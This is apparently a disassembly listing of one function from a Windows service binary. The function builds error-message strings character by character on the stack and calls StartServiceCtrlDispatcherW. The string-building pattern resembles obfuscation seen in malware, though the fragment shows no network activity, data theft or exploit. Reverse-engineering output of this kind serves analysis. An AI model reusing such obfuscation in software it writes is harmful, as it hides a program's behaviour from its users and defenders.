lea rcx, [rbp + 0x3c0]
call fcn.140011010
mov word [rbp + 0x3c2], ax
xor edx, edx
lea rcx, [rbp + 0x3c0]
call fcn.140011010
mov word [rbp + 0x3c4], ax
movzx edx, word [str.20240913]
lea rcx, [rbp + 0x3c0]
call fcn.140011010
mov word [rbp + 0x3c6], ax
xor eax, eax
mov word [rbp + 0x3c8], ax
mov eax, 0x5be0
mov word [rbp + 0x360], ax
mov edx, 0x45
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x362], ax
mov edx, 0x72
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x364], ax
mov edx, 0x72
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x366], ax
mov edx, 0x6f
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x368], ax
mov edx, 0x72
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x36a], ax
mov edx, 0x20
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x36c], ax
mov edx, 0x28
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x36e], ax
xor edx, edx
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x370], ax
movzx edx, word [0x14004be30]
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x372], ax
movzx edx, word [0x14004be32]
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x374], ax
movzx edx, word [0x14004be34]
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x376], ax
movzx edx, word [0x14004be36]
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x378], ax
movzx edx, word [0x14004be38]
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x37a], ax
movzx edx, word [0x14004be3a]
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x37c], ax
movzx edx, word [0x14004be3c]
lea rcx, [rbp + 0x360]
call fcn.140011010
mov word [rbp + 0x37e], ax
xor eax, eax
mov word [rbp + 0x380], ax
lea rcx, [rbp + 0x3c0]
call fcn.14000cf50
mov rbx, rax
lea rcx, [rbp + 0x360]
call fcn.14000d090
mov rdx, rax
lea rcx, [0x140054660]
call fcn.1400123b0
mov rcx, rax
mov edx, edi
call fcn.14000dbc0
mov rcx, rax
mov rdx, rbx
call fcn.1400123b0
mov rcx, rax
lea rdx, [fcn.140012690]
call fcn.14000df10
lea rax, [0x14004be30]
mov qword [rbp - 0x40], rax
lea rax, [0x1400080f0]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
lea rcx, [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x14000789b
mov edx, 0x53
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1c0], ax
mov edx, r12d
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1c2], ax
mov edx, 0x61
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1c4], ax
mov edx, 0x72
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1c6], ax
mov edx, r12d
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1c8], ax
mov edx, 0x53
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1ca], ax
mov edx, 0x65
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1cc], ax
mov edx, 0x72
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1ce], ax
mov edx, 0x76
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1d0], ax
mov edx, r15d
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1d2], ax
mov edx, 0x63
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1d4], ax
mov edx, 0x65
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1d6], ax
mov edx, 0x43
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1d8], ax
mov edx, r12d
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1da], ax
mov edx, 0x72
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1dc], ax
mov edx, 0x6c
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1de], ax
mov edx, 0x44
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1e0], ax
mov edx, r15d
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1e2], ax
mov edx, r13d
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1e4], ax
mov edx, 0x70
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1e6], ax
mov edx, 0x61
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1e8], ax
mov edx, r12d
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1ea], ax
mov edx, 0x63
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1ec], ax
mov edx, 0x68
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1ee], ax
mov edx, 0x65
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1f0], ax
mov edx, 0x72
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1f2], ax
xor edx, edx
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1f4], ax
movzx edx, word [0x14004be96]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1f6], ax
movzx edx, word [str.Cannot_install_service]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1f8], ax
movzx edx, word [0x14004be9a]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1fa], ax
movzx edx, word [0x14004be9c]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1fc], ax
movzx edx, word [0x14004be9e]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x1fe], ax
movzx edx, word [0x14004bea0]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x200], ax
movzx edx, word [0x14004bea2]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x202], ax
movzx edx, word [0x14004bea4]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x204], ax
movzx edx, word [0x14004bea6]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x206], ax
movzx edx, word [0x14004bea8]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x208], ax
movzx edx, word [0x14004beaa]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x20a], ax
movzx edx, word [0x14004beac]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x20c], ax
movzx edx, word [0x14004beae]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x20e], ax
movzx edx, word [0x14004beb0]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x210], ax
movzx edx, word [0x14004beb2]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x212], ax
movzx edx, word [0x14004beb4]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x214], ax
movzx edx, word [0x14004beb6]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x216], ax
movzx edx, word [0x14004beb8]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x218], ax
movzx edx, word [0x14004beba]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x21a], ax
movzx edx, word [0x14004bebc]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x21c], ax
movzx edx, word [0x14004bebe]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x21e], ax
movzx edx, word [str.__s_]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x220], ax
movzx edx, word [0x14004bec2]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x222], ax
movzx edx, word [0x14004bec4]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x224], ax
movzx edx, word [0x14004bec6]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x226], ax
movzx edx, word [0x14004bec8]
lea rcx, [rbp + 0x1c0]
call fcn.140011050
mov word [rbp + 0x228], ax
mov word [rbp + 0x22a], r14w
lea rcx, [rbp + 0x1c0]
call fcn.14000db30
mov rdx, rax
lea rcx, [rbp + 0xcb0]
call fcn.14000fcd0
nop
lea rcx, [rbp + 0xcb0]
call fcn.14000fbc0
mov rcx, rax
call fcn.1400085f0
nop
lea rcx, [rbp + 0xcb0]
call fcn.14000fc60
nop
lea rcx, [rbp + 0xc70]
call fcn.14000fc60
nop
lea rcx, [rbp + 0xcd0]
call fcn.14000fc60
nop
lea rcx, [rbp + 0xc50]
call fcn.14000fc60
nop
lea rcx, [rbp + 0xbb0]
call fcn.14000fc60
nop
lea rcx, [rbp + 0xb18]
call fcn.14000fc60
nop
lea rcx, [rbp + 0xb38]
call fcn.14000fc60
nop
lea rcx, [rbp + 0xcf0]
call fcn.14000fc60
nop
lea rcx, [rbp + 0xb58]
call fcn.14000fc60
nop
lea rcx, [rbp + 0xd10]
call fcn.14000fc60
nop
lea rcx, [rbp + 0xbd0]
call fcn.14000fc60
nop
lea rcx, [rbp + 0xc30]
call fcn.14000fc60
nop
lea rcx, [rbp + 0xc10]
call fcn.14000fe30
nop
lea rcx, [rbp + 0xbf0]
call fcn.14000fe30
xor eax, eax
mov rcx, qword [rbp + 0xd90]
xor rcx, rsp
call fcn.1400176f0
lea r11, [rsp + 0xea0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret